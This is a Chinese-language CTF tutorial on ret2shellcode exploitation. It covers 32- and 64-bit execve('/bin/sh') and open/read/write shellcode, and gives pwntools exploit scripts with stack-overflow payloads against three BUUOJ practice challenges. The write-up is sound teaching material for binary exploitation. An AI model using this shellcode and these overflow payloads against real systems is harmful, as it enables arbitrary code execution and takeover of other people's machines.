Ret2shellcode漏洞利用技术涉及覆盖函数的返回地址以指向攻击者注入的shellcode,从而在程序执行过程中触发shellcode的执行,实现任意代码运行和潜在的系统控制。
前置知识 什么是ret2shellcode ret2shellcode,即return to shellcode意思是劫持函数返回地址为shellcode的地址,进而控制程序执行shellcode,拿到shell。
NX保护
NX保护:将数据(堆,栈)所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时cpu就会抛出异常,而不是去执行恶意指令。
mprotect函数
int mprotect (void *addr,size_t len,int prot) ;
shellcode
open(flag_addr,0 ) read(3 ,addr,0x50 ) write(1 ,addr,0x50 )
32位 系统调用存储参数的前3个寄存器:ebx,ecx,edx,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_32.h文件中查看,eax存储系统调用号,执行int 0x80指令进行系统调用。
execvexor ecx,ecx xor edx,edx xor ebx,ebx ;ebx中现在为0 push ebx ;先把一个0压入栈,用来截断字符串 push 0x68732f2f ;把//sh压入栈 push 0x6e69622f ;把/bin压入栈 mov ebx,esp ;把esp指向的地址赋给了ebx,此时ebx中放的是/bin//sh的地址 push 11 pop eax int 0x80
这里放一张师父的图片,有助于理解怎么把/bin//sh的地址放入ebx中
open_read_writepush 0 push 0x67616c66 push esp pop ebx xor ecx,ecx push 5 pop eax int 0x80 push eax pop ebx push esp pop ecx push 0x50 pop edx push 3 pop eax int 0x80 push 1 pop ebx push esp pop ecx push 0x50 pop edx push 4 pop eax int 0x80
64位 系统调用存储参数的前6个寄存器:rdi,rsi,rdx,r10,r8,r9,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件中查看,rax存储系统调用号,执行syscall指令进行系统调用。
execvepush 0x3b pop rax mov rdi,0x68732f6e69622f #/bin(2f62696e) /sh(2f7368) push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall
open_read_writepush 0x67616c66 push rsp pop rdi push 0 pop rsi push 2 pop rax syscall push 3 pop rdi push rsp pop rsi push 0x50 pop rdx push 0 pop rax syscall push 1 pop rdi push rsp pop rsi push 0x50 pop rdx push 1 pop rax syscall
我们可以利用pwntools中的asm把写好的汇编代码直接转换成机器码
例题 others_shellcode这道题直接发送shellcode即可,exp如下
from pwn import *p = remote("node4.buuoj.cn" ,25752 ) context(arch='i386' ,os='linux' ,log_level='debug' ) shellcode = asm(''' xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp push 11 pop eax int 0x80 ''' )p.sendline(shellcode) p.interactive()
得到flag
ciscn_2019_n_5拿到题目,先检查保护,没开保护,64位程序
拖入ida,
运行程序,有两次输入的地方
Shift+F12查看字符串,没有找到我们想要的/bin/sh
再看右边函数,也没有system函数
 我们可以先把```shellcode```写到```bss```段,然后在栈溢出劫持函数返回地址为```shellcode```的起始地址 计算偏移量为```0x28```  ```exp```如下: ```python from pwn import * p = process('./ciscn_2019_n_5') p = remote("node4.buuoj.cn",26032) context(arch='amd64',os='linux',log_level='debug') shellcode = asm(''' push 0x3b pop rax mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall ''') p.sendline(shellcode) bss_addr = 0x601080 payload = b'a'*0x28+p64(bss_addr) p.sendline(payload) p.interactive()
得到flag
ez_pz_hackover_2016拿到题目,检查保护,PIE,NX,canary都没开,是32位程序
拖入ida中,分析题目
先进入header函数中看看,就是输出图形的,没什么问题
再进入chall函数中看看,我们主要分析的应该就是这个函数了
 计算缓冲区到```shellcode```的偏移量为```0x1c```  `exp`如下: ```python from pwn import * p = process('./ez_pz_hackover_2016') p = remote("node4.buuoj.cn",26101) context(arch='i386',os='linux',log_level='debug') p.recvuntil('crash: ') s_addr = int(p.recv(10),16) shellcode_addr = s_addr-28 shellcode = asm(''' xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp push 11 pop eax int 0x80 ''') payload = b'crashme\x00'+b'a'*18+p32(shellcode_addr)+shellcode p.sendline(payload) p.interactive()
得到flag